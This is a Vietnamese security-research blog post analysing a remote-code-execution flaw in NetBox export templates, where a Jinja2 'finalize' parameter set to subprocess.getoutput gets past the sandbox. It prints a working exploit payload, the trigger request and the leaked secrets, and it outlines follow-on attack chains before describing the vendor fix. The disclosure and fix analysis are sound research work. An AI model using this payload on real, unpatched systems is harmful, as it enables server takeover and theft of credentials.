NetBox và câu chuyện "Sandbox? Sandbox nào?" — Phân tích RCE qua Jinja2 `finalize` parameter
"Tôi đã đặt SandboxedEnvironment rồi mà, sao còn RCE được?"
Mở màn: Một buổi chiều bình thường ở Sun* Cyber Security Research
Chuyện kể rằng một buổi chiều đẹp trời, tôi đang ngồi audit code của NetBox — một sản phẩm khá nổi tiếng trong giới network engineer, được mệnh danh là "Network Source of Truth" 🌐. Nó lưu trữ toàn bộ thông tin về hạ tầng mạng của tổ chức: device, IP, rack, VPN, circuit... Nói chung là một mỏ vàng cho attacker nếu chiếm được.
Đang lướt qua các module thì mắt tôi đập vào một thứ rất quen mà rất lạ: SandboxedEnvironment của Jinja2. Mỗi lần thấy chữ "sandbox" trong code Python là tôi lại chú ý hơn 1 chút. Vì như chúng ta biết, "sandbox" và "secure" thường là hai khái niệm... khá là xa nhau.
Và đúng như linh cảm — sau khi bóc tách vài file, tôi đã tìm thấy một bug khá là "sách giáo khoa" nhưng impact thì 💥. Hôm nay tôi sẽ kể lại hành trình này nhé!
Target: NetBox là gì mà ghê thế?
Trước khi đi vào kỹ thuật, một chút giới thiệu về nạn nhân... à nhầm, về sản phẩm:
- NetBox = IPAM + DCIM tool open-source viết bằng Django
- Được dùng bởi rất nhiều ISP, telco, datacenter lớn
- Lưu trữ: IP allocation, device inventory, VPN config, credentials, rack layout, ...
- Nếu chiếm được NetBox = chiếm được bản đồ hạ tầng mạng của tổ chức 🗺️
Nói cách khác: NetBox là một mục tiêu cực kỳ thơm. Hỏng NetBox = attacker biết hết mọi thứ về network của bạn. Đáng để bỏ thời gian audit lắm chứ! 💎
Recon: Đi tìm cái mà ai cũng biết là gì đấy
Workflow của tôi khá đơn giản: nguyên tắc "ngôn ngữ nào → bug class nào". NetBox viết bằng Python + Django, mà Python + Django thì có một list bug class quen thuộc:
- 🐍 Pickle deserialization (luôn là ứng cử viên sáng giá)
- 🌶️ Jinja2 SSTI (Server-Side Template Injection)
- 💉 SQL Injection (ORM bypass)
- 🚪 Path traversal
- ⚡ Command injection (
subprocessvớishell=True)
Tôi nhắm vào template rendering vì NetBox có feature ExportTemplate — cho phép user định nghĩa template Jinja2 để export data theo format tuỳ ý. Template + user input = SSTI feeling intensifies 🔥.
Khi đã có định hướng muốn làm gì rồi thì đến lúc tận dụng sức mạnh của AI rồi. Tôi chỉ cần bảo Agent rằng: "Hey, tôi muốn tìm các nơi dùng SandboxEnvironment trong code base"
Và đây là kết quả khiến tôi ngồi thẳng người dậy 👀:
# netbox/utilities/jinja2.py
environment = SandboxedEnvironment(**environment_params)
Hmm... **environment_params. Splat operator. Cái gì cũng có thể đút vào đây được. Đợi đã, "cái gì cũng đút vào"? Ngon rồi đấy! 🍰
Đào sâu: environment_params đến từ đâu?
Tôi trace ngược lên thì thấy nó đến từ một field tên là... environment_params trong model ExportTemplate. Field này có loại là JSONField — tức là user có thể nhập bất kỳ JSON nào vào.
Mở extras/models/mixins.py ra xem cách nó được resolve:
def get_environment_params(self):
params = self.environment_params or {}
for name, value in params.items():
if name in JINJA_ENV_PARAMS_WITH_PATH_IMPORT and type(value) is str:
params[name] = import_string(value)
return params
Khoan đã. import_string(value)? Với value là string user nhập vào? Cái này là Django's import_string — nó resolve một dotted path thành Python object thật sự.
Vậy JINJA_ENV_PARAMS_WITH_PATH_IMPORT chứa gì? Mở extras/constants.py:
JINJA_ENV_PARAMS_WITH_PATH_IMPORT = (
'undefined',
'finalize',
)
Bingo! Có finalize. Lúc này tôi đang cười một mình như thằng dở hơi vì cảm giác sắp có bug to.
Một chút kiến thức: finalize trong Jinja2 là gì?
Đây là chỗ vui nhất. Theo doc của Jinja2:
finalize: A callable that can be used to process the result of a variable expression before it is output. For example one can convertNoneimplicitly into an empty string here.
Dịch ra tiếng Việt thì : finalize là một function được gọi với MỌI giá trị mà template render ra. Tức là khi bạn viết {{ "hello world" }}, Jinja2 sẽ gọi finalize("hello world") trước khi in ra.
💡 Lightbulb moment: Nếu tôi set
finalize = subprocess.getoutput, thì mỗi{{ "command" }}trong template sẽ trở thànhsubprocess.getoutput("command"). Tức là...{{ "id" }}sẽ chạy lệnhidtrên server???
Không, không thể đơn giản như vậy được. Chắc có sandbox check gì đó đúng không? 🤔
Tôi đọc lại source của Jinja2 SandboxedEnvironment. Và đây là sự thật phũ phàng: sandbox của Jinja2 chỉ hạn chế những gì TEMPLATE CODE có thể truy cập (không cho gọi __class__, __mro__, ...). Còn finalize là một parameter được set ở CONSTRUCTOR, nó chạy như một Python function bình thường, không hề bị sandbox nào quản lý 🤡.
Nói cách khác: sandbox đứng canh cửa trước, mà attacker đi cửa sau từ lúc khởi tạo environment. Quá đẹp.
Phase Verify: Có thật là dễ vậy không?
Tôi không tin lắm vì nó TỐT QUÁ ĐỂ LÀ SỰ THẬT. Setup nhanh NetBox bằng Docker:
git clone https://github.com/netbox-community/netbox-docker
cd netbox-docker && docker compose up -d
Tạo một user với 2 permission "có vẻ vô hại":
dcim | device | Can view device✅ (thường được cấp cho network engineer)extras | export template | Can add export template✅ (cũng thường được cấp cho operator)
Không cần admin. Không cần superuser. Chỉ cần 2 quyền này.
Sau đó tạo một ExportTemplate với payload:
{
"name": "test_export",
"object_types": ["dcim.device"],
"template_code": "{{ \"id && hostname && cat /workspace/netbox/netbox/configuration_docker.py\" }}",
"environment_params": {"finalize": "subprocess.getoutput"}
}
hoặc như requets dưới đây
Sau đó trigger bằng cách... vào URL export :
GET /api/dcim/devices/?export=test_export&limit=1
Và đây là response (HTTP 200, content-type text/plain, browser tải về cái file netbox_devices) :
uid=0(root) gid=0(root) groups=0(root)
47ecf91a46b3
from .configuration_example import *
SECRET_KEY = 'netbox-development-secret-key-change-me-before-production-1234567890'
DATABASES = {
'default': {
'PASSWORD': 'netbox',
...
}
}
API_TOKEN_PEPPERS = {
1: 'netbox-development-api-token-pepper-change-me-before-production-1234567890',
}
RCE as root . Trong container Docker thì process chạy với uid 0. Một câu HTTP GET, một file config với SECRET_KEY và database password chễm chệ xuất hiện. Đẹp như một bức tranh sơn dầu 🎨.
Toàn cảnh dataflow
Cho dễ hình dung, đây là toàn bộ chuỗi exploit:
[Attacker]
│
│ POST /extras/export-templates/add/
│ template_code = {{ "id && cat /etc/passwd" }}
│ environment_params = {"finalize": "subprocess.getoutput"}
▼
[NetBox]
│ ❌ Không validate environment_params
│ ✅ Lưu thẳng vào database
▼
[Attacker triggers export]
│ GET /api/dcim/devices/?export=test_export
▼
[ExportTemplate.render()]
│
├─► get_environment_params()
│ └─► import_string("subprocess.getoutput")
│ └─► trả về <function subprocess.getoutput> 💀
│
├─► SandboxedEnvironment(finalize=subprocess.getoutput)
│ └─► Sandbox không quan tâm gì đến finalize 🙈
│
└─► template.render()
└─► finalize("id && cat /etc/passwd")
└─► subprocess.getoutput(...)
└─► 💥 RCE 💥
▼
[HTTP Response = stdout của lệnh]
Tóm lại 3 thành phần tạo nên thảm hoạ:
- 🎁
import_string()được gọi trên user input → attacker có thể import bất kỳ Python callable nào - 🚪
finalizeđược splat vàoSandboxedEnvironment(**params)→ sandbox không bảo vệ được vì callable không phải template code - 🤷 Không có validation nào trên
environment_params→ JSON field cho phép mọi thứ
Đây là một ví dụ điển hình của bug class "trust user input in places that should never trust user input" — kết hợp với một hiểu nhầm rất phổ biến: "Tôi dùng SandboxedEnvironment rồi, nên an toàn". Spoiler: không ❌.
Impact: Khi RCE chỉ là điểm khởi đầu
Đối với người ngoài nghề, RCE nghe có vẻ "ờ thì chạy lệnh thôi mà". Nhưng đây là một chuỗi domino đẹp 🎲:
Chain 1: SECRET_KEY → Account takeover
Đọc SECRET_KEY
→ Forge Django session cookie cho bất kỳ user nào
→ Chiếm tài khoản admin mà không cần password 🔓
Chain 2: DB credentials → Data exfiltration
Đọc configuration_docker.py
→ Connect tới postgres bằng netbox:netbox
→ Dump toàn bộ network inventory, IPAM, credentials 📂
Chain 3: Redis (no auth) → Session hijacking
Redis chạy không có password
→ Đọc/ghi session
→ Cướp session của user đang online ☠️
Chain 4: Container escape (nếu may mắn)
Process chạy với uid=0 trong container
→ Nếu container có CAP_SYS_ADMIN / mounted socket
→ Escape ra host 🚀
Mà cần gì admin? Chỉ cần 2 permission của một operator bình thường. Đây mới là chỗ khiến bug này từ "interesting" trở thành "critical" 🔴.
"Nhưng maintainer bảo đây là intended behavior mà?"
Đây là phần thú vị nhất. Nếu bạn lục lại GitHub Discussion #17012 của NetBox, maintainer có quan điểm khá rõ ràng: template RCE là intended vì user có quyền tạo template thì đã được "trust".
Tôi hiểu logic này, nhưng cá nhân tôi không đồng tình hoàn toàn. Lý do:
-
🎭
SandboxedEnvironmentđược thêm vào CHÍNH VÌ để chống RCE từ template (xem Issue #6921 năm 2021). Nếu intended RCE thì... thêm sandbox làm gì? 🤷♂️ -
🔑 Permission
add_exporttemplatethường được cấp cho non-admin. Trong môi trường thực tế, network operator thường được cấp quyền này để tự tạo export format. Không ai coi họ là superuser cả. -
🚨 Nguyên tắc least surprise: Khi một feature có sandbox, user reasonable sẽ assume nó được bảo vệ. Việc cho phép
finalize: subprocess.getoutputlà lỗ trống hoàn toàn không có gì cảnh báo trong UI — một cái bẫy chính hiệu.
Nói chung là tranh cãi muôn thuở của "by design vs security flaw" 🥊. Quan điểm của tôi: dù được trust thì cũng không nên cho phép bypass sandbox một cách dễ dàng như vậy. Defense in depth mà!
Fix: Hiện tại NetBox đã vá
Tin tốt: lỗ hổng này đã được fix ở phiên bản mới nhất của NetBox ✅. Hướng fix khá đơn giản — về cơ bản là không cho phép finalize được import từ string nữa:
# Trước (vulnerable) 💀
JINJA_ENV_PARAMS_WITH_PATH_IMPORT = (
'undefined',
'finalize', # ← thằng này gây nên thảm hoạ
)
# Sau (safe) ✅
JINJA_ENV_PARAMS_WITH_PATH_IMPORT = (
'undefined', # chỉ cho phép undefined, và check allowlist
)
JINJA_UNDEFINED_ALLOWLIST = (
'jinja2.Undefined',
'jinja2.DebugUndefined',
'jinja2.StrictUndefined',
'jinja2.ChainableUndefined',
)
Kèm validation chặt hơn ở get_environment_params():
def get_environment_params(self):
params = self.environment_params or {}
for name, value in params.items():
if name == 'undefined' and type(value) is str:
if value not in JINJA_UNDEFINED_ALLOWLIST:
raise ValidationError(f"Unsupported undefined: {value}")
params[name] = import_string(value)
elif name == 'finalize':
raise ValidationError("'finalize' is not permitted.") # 🚫
return params
Đơn giản, hiệu quả. Đây là cách fix đúng: allowlist chứ không phải blocklist, và loại bỏ hoàn toàn finalize khỏi danh sách import được.
Bonus: Câu chuyện buồn về "second place"
Phần này tôi xin kể riêng một chút, vừa để giải bày vừa để anh em làm research rút kinh nghiệm 🍵.
Sau khi tôi gửi report cho team security của NetBox vào tháng 4/2026, im lặng một thời gian khá lâu... rồi tôi nhận được phản hồi đại loại: "Cảm ơn báo cáo, nhưng chúng tôi đã nhận được thông tin về lỗ hổng này từ một researcher khác trước bạn rồi." 💔
Cụ thể là họ đã nhận info từ tháng 3/2026, tức là trước tôi 1 tháng. Cảm giác lúc đó: 🪦
"Anh ơi, ván này em đã chuẩn bị tốt rồi, nhưng anh kia về đích trước em 1 tháng..."
Nhưng đời chưa hết drama. Điều khiến tôi cảm thấy "hơi lạ" là: họ biết bug từ tháng 3, tôi report tháng 4 → và mãi cuối tháng 5/2026 patch mới được release 😶. Tức là trong khoảng hơn 2 tháng, một lỗ hổng **RCE ** vẫn nằm im trong codebase open-source mà ai cũng có thể đọc.
Nếu ai đó "vô tình" lướt qua extras/constants.py trong giai đoạn đó... ờm, happy hunting 🦈.
Bài học buồn rút ra:
-
🏃 Race trong bug bounty là có thật. Cùng một bug có thể có nhiều researcher độc lập tìm ra. Đặc biệt với open-source — code ai cũng đọc được, pattern bug ai cũng nhìn thấy. Chậm 1 tuần là mất cả "first reporter credit" 😢.
-
⏰ Disclosure timeline không phải lúc nào cũng nhanh. Dù bug critical đến đâu, vendor cũng có quy trình của họ. 2 tháng cho một RCE trong code production-grade là... khá là từ tốn. Nhưng đó không phải chuyện researcher control được.
-
🤝 Không phải mọi report đều có CVE / bounty. Đôi khi bạn làm rất nhiều việc, viết report rất chỉn chu, mà cuối cùng nhận về một câu "cảm ơn, đã có người báo rồi". Đây là phần "không vui" của bug hunting mà ít ai nói tới.
-
📝 Vẫn nên report dù biết có thể bị duplicate. Vì:
- Bạn không thể biết chắc người trước đã report đầy đủ chưa
- Report của bạn có thể bổ sung góc nhìn / variant mới
- Quan trọng nhất: làm điều đúng, không phải làm để được credit
- Và cuối cùng, viết được blog như thế này cũng vui mà nhỉ 😄
-
🎯 Tốc độ + chất lượng. Một khi đã xác định được hướng audit, hãy làm cho gọn — đừng cầu toàn quá mức rồi để bug "trôi" sang tay người khác. Tôi đã mất khoảng 1 tuần để viết report chỉn chu, có lẽ đó chính là tuần định mệnh 🥲.
Dù gì, bug đã được fix, network engineer toàn thế giới đã an toàn hơn một chút 🛡️. Còn tôi thì có thêm một câu chuyện để kể, một bài blog để chia sẻ, và một bài học khắc cốt ghi tâm: làm research là một cuộc đua, không phải chỉ là một bài thi 1 mình 🏁.
P/S: Nếu anh chàng kia tình cờ đọc được bài này — xin chúc mừng, bạn xứng đáng! 🍻
All rights reserved
